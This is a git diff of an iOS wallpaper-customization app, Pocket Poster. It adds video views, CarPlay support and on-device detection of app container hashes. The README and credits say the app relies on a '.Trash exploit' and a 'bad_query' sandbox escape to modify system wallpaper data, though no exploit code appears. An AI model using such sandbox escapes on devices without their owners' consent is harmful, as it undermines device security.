ProgressView()
|
||||
.scaleEffect(1.75)
|
||||
.onAppear {
|
||||
Haptic.shared.play(.light)
|
||||
}
|
||||
} else {
|
||||
Text("")
|
||||
}
|
||||
Spacer()
|
||||
}
|
||||
}.padding(.top, -50)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,205 @@
|
||||
//
|
||||
// VideoView.swift
|
||||
// Pocket Poster
|
||||
//
|
||||
// Created by lemin on 6/11/25.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import PhotosUI
|
||||
import AVKit
|
||||
|
||||
struct VideoView: View {
|
||||
@ObservedObject var pbManager = PosterBoardManager.shared
|
||||
@AppStorage("ignoreDurationLimit") var ignoreDurationLimit: Bool = false
|
||||
|
||||
@State var selectedVideo: PhotosPickerItem?
|
||||
@State private var currentPage: Int = 0
|
||||
|
||||
@State private var currentDate = Date()
|
||||
private let timer = Timer.publish(every: 1, on: .main, in: .common).autoconnect() // update every second
|
||||
private var dateFormatter: DateFormatter {
|
||||
let formatter = DateFormatter()
|
||||
formatter.dateFormat = "EEEE, MMMM d"
|
||||
return formatter
|
||||
}
|
||||
private var timeFormatter: DateFormatter {
|
||||
let formatter = DateFormatter()
|
||||
if Locale.current.hourCycle == .zeroToEleven || Locale.current.hourCycle == .oneToTwelve {
|
||||
formatter.dateFormat = "h:mm"
|
||||
} else {
|
||||
formatter.dateFormat = "HH:mm"
|
||||
}
|
||||
return formatter
|
||||
}
|
||||
|
||||
var body: some View {
|
||||
VStack {
|
||||
GeometryReader { geom in
|
||||
TabView(selection: $currentPage) {
|
||||
ForEach(Array(pbManager.videos.enumerated()), id: \.offset) { idx, vid in
|
||||
ZStack {
|
||||
switch vid.loadState {
|
||||
case .unknown:
|
||||
EmptyView()
|
||||
case .loading:
|
||||
ProgressView()
|
||||
case .loaded(let movie):
|
||||
PlayerView(videoURL: movie.url)
|
||||
.scaledToFill()
|
||||
.frame(width: geom.size.width * 0.7, height: geom.size.height * 0.8)
|
||||
.clipped()
|
||||
VStack {
|
||||
Text(dateFormatter.string(from: currentDate))
|
||||
.shadow(radius: 10)
|
||||
|
||||
Text(timeFormatter.string(from: currentDate))
|
||||
.font(.system(size: 75, weight: .semibold, design: .rounded))
|
||||
.shadow(radius: 10)
|
||||
Spacer()
|
||||
}
|
||||
.padding(.top, 45)
|
||||
.foregroundStyle(.white)
|
||||
case .failed:
|
||||
Text("Failed")
|
||||
}
|
||||
}
|
||||
.frame(width: geom.size.width * 0.7, height: geom.size.height * 0.8)
|
||||
.shadow(radius: 5)
|
||||
.background(Color.black.opacity(0.6))
|
||||
.cornerRadius(24)
|
||||
.tag(idx)
|
||||
.overlay {
|
||||
RoundedRectangle(cornerRadius: 24)
|
||||
.stroke(.gray, lineWidth: 4)
|
||||
}
|
||||
.overlay(
|
||||
// Delete Button
|
||||
DeleteButton(video: vid, onDelete: removeVideo),
|
||||
alignment: .topLeading
|
||||
)
|
||||
.overlay(
|
||||
// Loops Button
|
||||
Button(action: {
|
||||
pbManager.videos[idx].autoReverses = !vid.autoReverses
|
||||
}) {
|
||||
Image(systemName: "arrow.left.arrow.right.circle")
|
||||
.font(.title)
|
||||
.foregroundStyle(Color(uiColor: .label))
|
||||
.background {
|
||||
if vid.autoReverses {
|
||||
Circle()
|
||||
.foregroundStyle(.blue.opacity(0.8))
|
||||
.shadow(radius: 5)
|
||||
} else {
|
||||
Circle()
|
||||
.foregroundStyle(.regularMaterial)
|
||||
.shadow(radius: 5)
|
||||
}
|
||||
}
|
||||
}.offset(x: 8, y: -8),
|
||||
alignment: .topTrailing
|
||||
)
|
||||
}
|
||||
.onDelete(perform: removeVideo)
|
||||
.onReceive(timer) { input in
|
||||
currentDate = input
|
||||
}
|
||||
|
||||
// MARK: Select Photo Option
|
||||
if selectedVideo == nil && pbManager.videos.count < 5 {
|
||||
ZStack {
|
||||
PhotosPicker(selection: $selectedVideo, matching: .videos, label: {
|
||||
ZStack {
|
||||
RoundedRectangle(cornerRadius: 24)
|
||||
.fill(.gray.opacity(0.4))
|
||||
|
||||
Circle()
|
||||
.frame(width: 40, height: 40)
|
||||
.foregroundStyle(.blue)
|
||||
|
||||
Image(systemName: "plus")
|
||||
.font(.title)
|
||||
.foregroundStyle(.white)
|
||||
}
|
||||
})
|
||||
}
|
||||
.frame(width: geom.size.width * 0.7, height: geom.size.height * 0.8)
|
||||
.shadow(radius: 5)
|
||||
.background(Color.black.opacity(0.6))
|
||||
.cornerRadius(24)
|
||||
.tag(pbManager.videos.count)
|
||||
.overlay {
|
||||
RoundedRectangle(cornerRadius: 24)
|
||||
.stroke(.gray, lineWidth: 4)
|
||||
}
|
||||
}
|
||||
}
|
||||
.onChange(of: selectedVideo) { _ in
|
||||
if selectedVideo == nil { return }
|
||||
let id = pbManager.videos.count
|
||||
pbManager.videos.append(.init(loadState: .loading))
|
||||
Task {
|
||||
do {
|
||||
if let movie = try await selectedVideo?.loadTransferable(type: Movie.self) {
|
||||
await MainActor.run {
|
||||
if !ignoreDurationLimit && VideoHandler.isVideoTooLong(at: movie.url) {
|
||||
pbManager.videos.remove(at: id)
|
||||
UIApplication.shared.alert(title: NSLocalizedString("Failed to Import Video", comment: ""), body: String(format: NSLocalizedString("The video you imported is too long! Your video must be %@ seconds or less.", comment: ""), "\(Int(VideoHandler.MaxDurationSecs))"))
|
||||
} else {
|
||||
pbManager.videos[id].loadState = .loaded(movie)
|
||||
currentPage = id
|
||||
}
|
||||
}
|
||||
} else {
|
||||
await MainActor.run {
|
||||
pbManager.videos[id].loadState = .failed
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
await MainActor.run {
|
||||
pbManager.videos[id].loadState = .failed
|
||||
}
|
||||
}
|
||||
selectedVideo = nil
|
||||
}
|
||||
}
|
||||
.tabViewStyle(PageTabViewStyle(indexDisplayMode: .always))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func removeVideo(at offsets: IndexSet) {
|
||||
withAnimation {
|
||||
pbManager.videos.remove(atOffsets: offsets)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
struct DeleteButton: View {
|
||||
@Environment(\.editMode) var editMode
|
||||
|
||||
let video: LoadInfo
|
||||
@ObservedObject var pbManager = PosterBoardManager.shared
|
||||
let onDelete: (IndexSet) -> ()
|
||||
|
||||
var body: some View {
|
||||
VStack {
|
||||
Button(action: {
|
||||
if let index = pbManager.videos.firstIndex(of: video) {
|
||||
self.onDelete(IndexSet(integer: index))
|
||||
}
|
||||
}) {
|
||||
Image(systemName: "minus.circle")
|
||||
.foregroundStyle(.red)
|
||||
.font(.title)
|
||||
.background {
|
||||
Circle()
|
||||
.foregroundStyle(.regularMaterial)
|
||||
.shadow(radius: 5)
|
||||
}
|
||||
}
|
||||
.offset(x: -8, y: -8)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -5,7 +5,7 @@
|
||||
// Created by lemin on 5/31/25.
|
||||
//
|
||||
|
||||
import SwiftUICore
|
||||
import SwiftUI
|
||||
|
||||
struct OnBoardingPage: Identifiable {
|
||||
var id = UUID()
|
||||
@@ -29,30 +29,30 @@ struct OnBoardingPage: Identifiable {
|
||||
|
||||
let onBoardingCards: [OnBoardingPage] = [
|
||||
.init(
|
||||
title: "Welcome to Pocket Poster!",
|
||||
description: "Here is a tutorial to help you get started with the app.",
|
||||
title: NSLocalizedString("Welcome to Pocket Poster!", comment: ""),
|
||||
description: NSLocalizedString("Here is a tutorial to help you get started with the app.", comment: ""),
|
||||
image: "Logo"
|
||||
),
|
||||
.init(
|
||||
title: "Install the Fallback Shortcut (Optional)",
|
||||
description: "To apply, PosterBoard will need to open.\n\nYou can install an optional shortcut if the original method fails.",
|
||||
title: NSLocalizedString("Install the Fallback Shortcut (Optional)", comment: ""),
|
||||
description: NSLocalizedString("To apply, PosterBoard will need to open.", comment: "") + "\n\n" + NSLocalizedString("You can install an optional shortcut if the original method fails.", comment: ""),
|
||||
image: "Shortcuts",
|
||||
link: URL(string: PosterBoardManager.ShortcutURL),
|
||||
linkName: "Get Shortcut"
|
||||
linkName: NSLocalizedString("Get Shortcut", comment: "")
|
||||
),
|
||||
.init(
|
||||
title: "Install Nugget",
|
||||
description: "To get the app bundle id, Nugget is required.\n\nOn your computer, download Nugget from the GitHub.",
|
||||
title: NSLocalizedString("Install Nugget", comment: ""),
|
||||
description: NSLocalizedString("To get the app bundle id, Nugget is required.", comment: "") + "\n\n" + NSLocalizedString("On your computer, download Nugget from the GitHub.", comment: ""),
|
||||
image: "Nugget",
|
||||
link: URL(string: "https://github.com/leminlimez/Nugget/releases/latest"),
|
||||
linkName: "Open GitHub"
|
||||
linkName: NSLocalizedString("Open GitHub", comment: "")
|
||||
),
|
||||
.init(
|
||||
title: "Enjoy!",
|
||||
description: "You can find wallpapers on the official Cowabun.ga website.",
|
||||
title: NSLocalizedString("Enjoy!", comment: ""),
|
||||
description: NSLocalizedString("You can find wallpapers on the official Cowabun.ga website.", comment: ""),
|
||||
image: "Cowabunga",
|
||||
link: URL(string: PosterBoardManager.WallpapersURL),
|
||||
linkName: "Find Wallpapers"
|
||||
linkName: NSLocalizedString("Find Wallpapers", comment: "")
|
||||
)
|
||||
]
|
||||
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
//
|
||||
// RootView.swift
|
||||
// Pocket Poster
|
||||
//
|
||||
// Created by lemin on 6/11/25.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
struct RootView: View {
|
||||
var body: some View {
|
||||
TabView {
|
||||
ContentView()
|
||||
.tabItem {
|
||||
Label("Home", systemImage: "house")
|
||||
}
|
||||
VideoView()
|
||||
.tabItem {
|
||||
Label("Videos", systemImage: "camera")
|
||||
}
|
||||
if CarPlayManager.supportsCarPlay() {
|
||||
CarPlayView()
|
||||
.tabItem {
|
||||
Label("CarPlay", systemImage: "car")
|
||||
}
|
||||
}
|
||||
ExploreView()
|
||||
.tabItem {
|
||||
Label("Explore", systemImage: "safari")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -9,35 +9,64 @@ import SwiftUI
|
||||
|
||||
struct SettingsView: View {
|
||||
// Prefs
|
||||
@AppStorage("pbHash") var pbHash: String = ""
|
||||
@AppStorage("pbHash") var pbHash: String = "" // PosterBoard hash
|
||||
@AppStorage("cpHash") var cpHash: String = "" // CarPlay hash
|
||||
@AppStorage("ignoreDurationLimit") var ignoreDurationLimit: Bool = false
|
||||
|
||||
@State var checkingForHash: Bool = false
|
||||
@State var hashCheckTask: Task<Void, any Error>? = nil
|
||||
|
||||
@State var showErrorAlert = false
|
||||
@State var errorAlertTitle: String?
|
||||
@State var errorAlertDescr: String?
|
||||
@State var detectingOnDevice: Bool = false
|
||||
|
||||
var body: some View {
|
||||
List {
|
||||
Section {
|
||||
VStack {
|
||||
TextField("Enter App Hash", text: $pbHash)
|
||||
VStack(alignment: .leading, spacing: 10) {
|
||||
TextField("Enter PosterBoard App Hash", text: $pbHash)
|
||||
.textFieldStyle(RoundedBorderTextFieldStyle())
|
||||
.font(.system(.body, design: .monospaced))
|
||||
if CarPlayManager.supportsCarPlay() {
|
||||
TextField("Enter CarPlayWallpaper App Hash", text: $cpHash)
|
||||
.textFieldStyle(RoundedBorderTextFieldStyle())
|
||||
.font(.system(.body, design: .monospaced))
|
||||
}
|
||||
|
||||
if SymHandler.prefersBadQuery {
|
||||
Text("bad_query available — on-device detect works (no PC).")
|
||||
.font(.caption)
|
||||
.foregroundStyle(.secondary)
|
||||
}
|
||||
|
||||
HStack {
|
||||
Spacer()
|
||||
// On-device detect via bad_query (iOS 26/27)
|
||||
if SymHandler.prefersBadQuery {
|
||||
Button(action: {
|
||||
detectOnDevice()
|
||||
}) {
|
||||
if detectingOnDevice {
|
||||
ProgressView()
|
||||
} else {
|
||||
Text("Detect On-Device")
|
||||
}
|
||||
}
|
||||
.foregroundStyle(.blue)
|
||||
.disabled(detectingOnDevice)
|
||||
}
|
||||
|
||||
// Run task to check until file exists from Nugget pc over AFC
|
||||
Button(action: {
|
||||
UIApplication.shared.confirmAlert(title: "Waiting for app hash...", body: "Connect your device to Nugget and click the \"Pocket Poster Helper\" button.", confirmTitle: "Cancel", onOK: {
|
||||
if !FileManager.default.fileExists(atPath: SymHandler.getPosterBoardHashURL().path()) {
|
||||
// don't show the alert because it is already there
|
||||
UIApplication.shared.confirmAlert(title: NSLocalizedString("Waiting for app hash...", comment: ""), body: NSLocalizedString("Connect your device to Nugget and click the \"Pocket Poster Helper\" button.", comment: ""), confirmTitle: NSLocalizedString("Cancel", comment: ""), onOK: {
|
||||
cancelWaitForHash()
|
||||
}, noCancel: true)
|
||||
}
|
||||
startWaitForHash()
|
||||
}) {
|
||||
Text("Detect")
|
||||
Text(SymHandler.prefersBadQuery ? "Detect via Nugget" : "Detect")
|
||||
}
|
||||
.foregroundStyle(.green)
|
||||
.onChange(of: checkingForHash) {
|
||||
.onChange(of: checkingForHash) { _ in
|
||||
if !checkingForHash {
|
||||
// hide ui alert
|
||||
UIApplication.shared.dismissAlert(animated: true)
|
||||
@@ -49,12 +78,20 @@ struct SettingsView: View {
|
||||
Label("App Hash", systemImage: "lock.app.dashed")
|
||||
}
|
||||
|
||||
Section {
|
||||
Toggle(isOn: $ignoreDurationLimit, label: {
|
||||
Label("Disable Video Duration Limit", systemImage: "ruler")
|
||||
})
|
||||
} header: {
|
||||
Label("Preferences", systemImage: "gear")
|
||||
}
|
||||
|
||||
Section {
|
||||
Button(action: {
|
||||
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
|
||||
UserDefaults.standard.set(false, forKey: "finishedTutorial")
|
||||
}) {
|
||||
Text("Replay Tutorial")
|
||||
Label("Replay Tutorial", systemImage: "questionmark.circle")
|
||||
}
|
||||
|
||||
Button(action: {
|
||||
@@ -62,17 +99,24 @@ struct SettingsView: View {
|
||||
do {
|
||||
try PosterBoardManager.clearCache()
|
||||
Haptic.shared.notify(.success)
|
||||
errorAlertTitle = "App Cache Successfully Cleared!"
|
||||
errorAlertDescr = ""
|
||||
showErrorAlert = true
|
||||
UIApplication.shared.alert(title: NSLocalizedString("App Cache Successfully Cleared!", comment: ""), body: "")
|
||||
} catch {
|
||||
Haptic.shared.notify(.error)
|
||||
errorAlertTitle = "Error"
|
||||
errorAlertDescr = error.localizedDescription
|
||||
showErrorAlert = true
|
||||
UIApplication.shared.alert(body: error.localizedDescription)
|
||||
}
|
||||
}) {
|
||||
Text("Clear App Cache")
|
||||
Label("Clear App Cache", systemImage: "trash.circle")
|
||||
}
|
||||
.foregroundStyle(.red)
|
||||
|
||||
Button(action: {
|
||||
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
|
||||
UserDefaults.standard.set(nil, forKey: "ActiveCarPlayWallpapers")
|
||||
try? FileManager.default.removeItem(at: CarPlayManager.getCarPlayPhotosURL())
|
||||
Haptic.shared.notify(.success)
|
||||
UIApplication.shared.alert(title: NSLocalizedString("CarPlay Applied Wallpapers Successfully Cleared!", comment: ""), body: "")
|
||||
}) {
|
||||
Label("Reset CarPlay Applied Wallpapers", systemImage: "trash.circle")
|
||||
}
|
||||
.foregroundStyle(.red)
|
||||
} header: {
|
||||
@@ -117,26 +161,77 @@ struct SettingsView: View {
|
||||
|
||||
// MARK: Credits
|
||||
Section {
|
||||
LinkCell(imageName: "Mak5er", url: "https://github.com/Mak5er", title: "Mak5er", contribution: "bad_query port · iOS 27 build", circle: true)
|
||||
LinkCell(imageName: "leminlimez", url: "https://github.com/leminlimez", title: "LeminLimez", contribution: NSLocalizedString("Main Developer", comment: "leminlimez's contribution"), circle: true)
|
||||
LinkCell(imageName: "serstars", url: "https://github.com/SerStars", title: "SerStars", contribution: "Website Designer", circle: true)
|
||||
LinkCell(imageName: "Nathan", url: "https://github.com/verygenericname", title: "Nathan", contribution: "Exploit", circle: true)
|
||||
LinkCell(imageName: "duy", url: "https://github.com/khanhduytran0", title: "DuyKhanhTran", contribution: "Exploit", circle: true)
|
||||
LinkCell(imageName: "sky", url: "https://bsky.app/profile/did:plc:xykfeb7ieeo335g3aly6vev4", title: "dootskyre", contribution: "Fallback Shortcut Creator", circle: true)
|
||||
LinkCell(imageName: "serstars", url: "https://github.com/SerStars", title: "SerStars", contribution: NSLocalizedString("Website Designer", comment: ""), circle: true)
|
||||
LinkCell(imageName: "Nathan", url: "https://github.com/verygenericname", title: "Nathan", contribution: NSLocalizedString("Exploit (.Trash)", comment: ""), circle: true)
|
||||
LinkCell(imageName: "duy", url: "https://github.com/khanhduytran0", title: "DuyKhanhTran", contribution: NSLocalizedString("Exploit (.Trash)", comment: ""), circle: true)
|
||||
LinkCell(imageName: "sky", url: "https://github.com/forcequitOS/bad_query", title: "forcequitOS", contribution: "bad_query (iOS 26/27)", circle: false)
|
||||
LinkCell(imageName: "sky", url: "https://bsky.app/profile/did:plc:xykfeb7ieeo335g3aly6vev4", title: "dootskyre", contribution: NSLocalizedString("Fallback Shortcut Creator", comment: ""), circle: true)
|
||||
LinkCell(imageName: "POEditor", url: "https://poeditor.com/join/project/MPZOsunwVj", title: NSLocalizedString("Community Translators", comment: ""), contribution: "POEditor")
|
||||
} header: {
|
||||
Label("Credits", systemImage: "wrench.and.screwdriver")
|
||||
}
|
||||
}
|
||||
.alert(errorAlertTitle ?? "Error", isPresented: $showErrorAlert) {
|
||||
Button("OK") {}
|
||||
} message: {
|
||||
Text(errorAlertDescr ?? "???")
|
||||
}
|
||||
|
||||
/// Scan containers on-device with bad_query / fsgetpath — no computer needed.
|
||||
func detectOnDevice() {
|
||||
detectingOnDevice = true
|
||||
UIApplication.shared.alert(
|
||||
title: "Scanning containers…",
|
||||
body: "Looking for PosterBoard via bad_query. This may take a moment.",
|
||||
animated: true,
|
||||
withButton: false
|
||||
)
|
||||
|
||||
DispatchQueue.global(qos: .userInitiated).async {
|
||||
var pb: String?
|
||||
var cp: String?
|
||||
var errMsg: String?
|
||||
|
||||
do {
|
||||
pb = try BadQuery.findPosterBoardHash()
|
||||
} catch {
|
||||
errMsg = error.localizedDescription
|
||||
}
|
||||
|
||||
if CarPlayManager.supportsCarPlay() {
|
||||
cp = try? BadQuery.findCarPlayHash()
|
||||
}
|
||||
|
||||
// Always show a closeable result alert (loading alert has no OK button —
|
||||
// dismiss must complete before the next alert is presented).
|
||||
DispatchQueue.main.async {
|
||||
detectingOnDevice = false
|
||||
|
||||
if let pb {
|
||||
pbHash = pb.trimmingCharacters(in: .whitespacesAndNewlines)
|
||||
if let cp {
|
||||
cpHash = cp.trimmingCharacters(in: .whitespacesAndNewlines)
|
||||
}
|
||||
Haptic.shared.notify(.success)
|
||||
let body = cp != nil
|
||||
? "PosterBoard:\n\(pbHash)\n\nCarPlay:\n\(cpHash)"
|
||||
: "PosterBoard:\n\(pbHash)"
|
||||
// alert() auto-dismisses any previous (buttonless) sheet first
|
||||
UIApplication.shared.alert(title: "Hash found!", body: body, withButton: true)
|
||||
} else {
|
||||
Haptic.shared.notify(.error)
|
||||
UIApplication.shared.alert(
|
||||
title: "Detect failed",
|
||||
body: errMsg ?? "Could not find PosterBoard container. Open Wallpaper settings once, then retry.",
|
||||
withButton: true
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func startWaitForHash() {
|
||||
checkingForHash = true
|
||||
hashCheckTask = Task {
|
||||
let filePath = SymHandler.getLCDocumentsDirectory().appendingPathComponent("NuggetAppHash")
|
||||
let filePath = SymHandler.getPosterBoardHashURL()
|
||||
while !FileManager.default.fileExists(atPath: filePath.path()) {
|
||||
try? await Task.sleep(nanoseconds: 500_000_000) // Sleep 0.5s
|
||||
try Task.checkCancellation()
|
||||
@@ -148,6 +243,17 @@ struct SettingsView: View {
|
||||
await MainActor.run {
|
||||
pbHash = contents
|
||||
}
|
||||
// check for carplay hash
|
||||
if UIDevice.current.userInterfaceIdiom == .phone {
|
||||
let carplayPath = SymHandler.getCarPlayHashURL()
|
||||
if FileManager.default.fileExists(atPath: carplayPath.path()) {
|
||||
let carplayContents = try String(contentsOf: carplayPath)
|
||||
try? FileManager.default.removeItem(at: carplayPath)
|
||||
await MainActor.run {
|
||||
cpHash = carplayContents
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
print(error.localizedDescription)
|
||||
}
|
||||
|
||||
@@ -11,7 +11,7 @@
|
||||
<string>Owner</string>
|
||||
<key>LSItemContentTypes</key>
|
||||
<array>
|
||||
<string>com.leemin.tendies</string>
|
||||
<string>com.mak5er.tendies</string>
|
||||
</array>
|
||||
</dict>
|
||||
</array>
|
||||
@@ -21,7 +21,7 @@
|
||||
<key>CFBundleTypeRole</key>
|
||||
<string>Editor</string>
|
||||
<key>CFBundleURLName</key>
|
||||
<string>com.leemin.pocketposter</string>
|
||||
<string>com.mak5er.pocketposter</string>
|
||||
<key>CFBundleURLSchemes</key>
|
||||
<array>
|
||||
<string>pocketposter</string>
|
||||
@@ -43,7 +43,7 @@
|
||||
<key>UTTypeIconFiles</key>
|
||||
<array/>
|
||||
<key>UTTypeIdentifier</key>
|
||||
<string>com.leemin.tendies</string>
|
||||
<string>com.mak5er.tendies</string>
|
||||
<key>UTTypeTagSpecification</key>
|
||||
<dict>
|
||||
<key>public.filename-extension</key>
|
||||
@@ -66,7 +66,7 @@
|
||||
<key>UTTypeIconFiles</key>
|
||||
<array/>
|
||||
<key>UTTypeIdentifier</key>
|
||||
<string>com.leemin.tendies</string>
|
||||
<string>com.mak5er.tendies</string>
|
||||
<key>UTTypeTagSpecification</key>
|
||||
<dict>
|
||||
<key>public.filename-extension</key>
|
||||
|
||||
@@ -1,17 +1,67 @@
|
||||
# Pocket Poster
|
||||
Custom PosterBoard animated wallpapers for iOS 17.0+
|
||||
<div align="center">
|
||||
<img width="150" height="150" src="Pocket Poster/Assets.xcassets/AppIcon.appiconset/pocket_poster_transparent.png">
|
||||
</div>
|
||||
|
||||
Community-made wallpapers can be found on the [official Cowabun.ga site](https://cowabun.ga/wallpapers). Join the [Cowabunga Discord Server](https://discord.gg/cowabunga) for additional help.
|
||||
<div align="center">
|
||||
<h1><b>Pocket Poster</b></h1>
|
||||
<p><i>Custom PosterBoard Wallpapers for iOS 17+ · bad_query for iOS 26–27.0b4</i></p>
|
||||
<p>Maintained / iOS 27 port by <a href="https://github.com/Mak5er"><b>Mak5er</b></a></p>
|
||||
<a href="https://celloserenity.github.io/altdirect/?url=https://raw.githubusercontent.com/SerStars/Nugget-Wallpapers/refs/heads/main/other/pocketposter_source.json" target="_blank">
|
||||
<img src="https://raw.githubusercontent.com/CelloSerenity/altdirect/refs/heads/main/assets/png/AltSource_White.png" width="150">
|
||||
</a>
|
||||
</div>
|
||||
|
||||
## Download
|
||||
|
||||
Latest IPA: [**Releases**](https://github.com/Mak5er/Pocket-Poster/releases/latest)
|
||||
|
||||
CI builds an unsigned IPA on every push to `main` and publishes a GitHub Release when you push a tag like `v3.2.2` (or run **Release IPA** from Actions).
|
||||
|
||||
```bash
|
||||
# cut a release from your machine
|
||||
git tag v3.2.2 && git push origin v3.2.2
|
||||
```
|
||||
|
||||
## Getting Started
|
||||
Since there is no way to read files currently, you will need a computer to get the App Hash/UUID.
|
||||
|
||||
Download [Nugget](https://github.com/leminlimez/Nugget) on your computer and plug in your phone. Then, navigate to the `Settings` page and click the `Pocket Poster Helper` button. Inside Pocket Poster, click the `Detect` button inside of settings.
|
||||
### iOS 26 / 27.0b4 (bad_query)
|
||||
On versions where [bad_query][badQueryGitHub] works, **no computer is required**:
|
||||
1. Install the IPA (sideload with TrollStore / SideStore / etc.).
|
||||
2. Settings → **Detect On-Device** (or just hit Apply — hash auto-detects).
|
||||
3. Select tendies / video → **Apply** → device does a **full respring** (Frontboard + Backboard).
|
||||
|
||||
**Reset Collections** wipes PosterBoard descriptors via bad_query, then full resprings the same way.
|
||||
|
||||
### Older iOS (legacy .Trash exploit)
|
||||
You will need a computer to get the App Hash/UUID.
|
||||
|
||||
Download [Nugget][NuggetGitHub] on your computer and plug in your phone.
|
||||
<br>Then, navigate to the `Settings` page and click the `Pocket Poster Helper` button.
|
||||
<br>Inside Pocket Poster, click the `Detect` button inside of settings.
|
||||
|
||||
Community-made wallpapers can be found on the [official Cowabun.ga site][CowabungaWallpapersPage].
|
||||
<br>Join the [Cowabunga Discord Server][CowabungaDiscord] for additional help.
|
||||
|
||||
## Credits
|
||||
- **[Mak5er][Mak5erGitHub]** — bad_query integration, iOS 27 port, full respring, on-device detect
|
||||
- [LeminLimez][LeminGitHub] — original Pocket Poster
|
||||
- Translations crowdsourced using [POEditor][POEditorJoin]
|
||||
- [PosterRestore][PosterRestoreDiscord] for their help with PosterBoard
|
||||
- [dootskyre][dootskyreX] for the fallback shortcut
|
||||
- [Nathan](https://github.com/verygenericname) and [DuyKhanhTran](https://github.com/khanhduytran0) for the exploit
|
||||
- [Nathan][NathanGitHub] and [DuyKhanhTran][DuyKhanhTranGitHub] for the .Trash exploit
|
||||
- [forcequitOS][badQueryGitHub] for bad_query (iOS 26/27 sandbox escape)
|
||||
- [SerStars][SerStarsX] for creating the website
|
||||
|
||||
[CowabungaWallpapersPage]: https://cowabun.ga/wallpapers
|
||||
[NuggetGitHub]: https://github.com/leminlimez/Nugget
|
||||
[LeminGitHub]: https://github.com/leminlimez
|
||||
[Mak5erGitHub]: https://github.com/Mak5er
|
||||
[CowabungaDiscord]: https://discord.gg/cowabunga
|
||||
[PosterRestoreDiscord]: https://discord.gg/gWtzTVhMvh
|
||||
|
||||
[POEditorJoin]: https://poeditor.com/join/project/MPZOsunwVj
|
||||
[dootskyreX]: https://x.com/dootskyre
|
||||
[NathanGitHub]: https://github.com/verygenericname
|
||||
[DuyKhanhTranGitHub]: https://github.com/khanhduytran0
|
||||
[SerStarsX]: https://x.com/SerStars
|
||||
[badQueryGitHub]: https://github.com/forcequitOS/bad_query
|
||||
+14
-3
@@ -1,5 +1,11 @@
|
||||
#!/bin/bash
|
||||
|
||||
CONFIG="Release"
|
||||
|
||||
if [ "$1" == "-d" ]; then
|
||||
CONFIG="Debug"
|
||||
fi
|
||||
|
||||
set -e
|
||||
|
||||
cd "$(dirname "$0")"
|
||||
@@ -15,13 +21,13 @@ cd build
|
||||
|
||||
xcodebuild -project "$WORKING_LOCATION/$APPLICATION_NAME.xcodeproj" \
|
||||
-scheme "$APPLICATION_NAME" \
|
||||
-configuration Release \
|
||||
-configuration "$CONFIG" \
|
||||
-derivedDataPath "$WORKING_LOCATION/build/DerivedDataApp" \
|
||||
-destination 'generic/platform=iOS' \
|
||||
clean build \
|
||||
CODE_SIGN_IDENTITY="" CODE_SIGNING_REQUIRED=NO CODE_SIGN_ENTITLEMENTS="" CODE_SIGNING_ALLOWED="NO"
|
||||
|
||||
DD_APP_PATH="$WORKING_LOCATION/build/DerivedDataApp/Build/Products/Release-iphoneos/$APPLICATION_NAME.app"
|
||||
DD_APP_PATH="$WORKING_LOCATION/build/DerivedDataApp/Build/Products/$CONFIG-iphoneos/$APPLICATION_NAME.app"
|
||||
TARGET_APP="$WORKING_LOCATION/build/$APPLICATION_NAME.app"
|
||||
cp -r "$DD_APP_PATH" "$TARGET_APP"
|
||||
|
||||
@@ -36,7 +42,12 @@ fi
|
||||
mkdir Payload
|
||||
cp -r "${APPLICATION_NAME}.app" "Payload/${APPLICATION_NAME}.app"
|
||||
strip "Payload/${APPLICATION_NAME}.app/${APPLICATION_NAME}"
|
||||
zip -vr "${APPLICATION_NAME}.ipa" Payload
|
||||
# quiet zip for CI logs; name with underscore for download URLs
|
||||
zip -qr "Pocket_Poster.ipa" Payload
|
||||
# keep legacy name too
|
||||
cp "Pocket_Poster.ipa" "${APPLICATION_NAME}.ipa"
|
||||
rm -rf "${APPLICATION_NAME}.app"
|
||||
rm -rf Payload
|
||||
echo "Built: $WORKING_LOCATION/build/Pocket_Poster.ipa"
|
||||
echo "Built: $WORKING_LOCATION/build/${APPLICATION_NAME}.ipa"
|
||||
|
||||
Reference in new issue
Block a user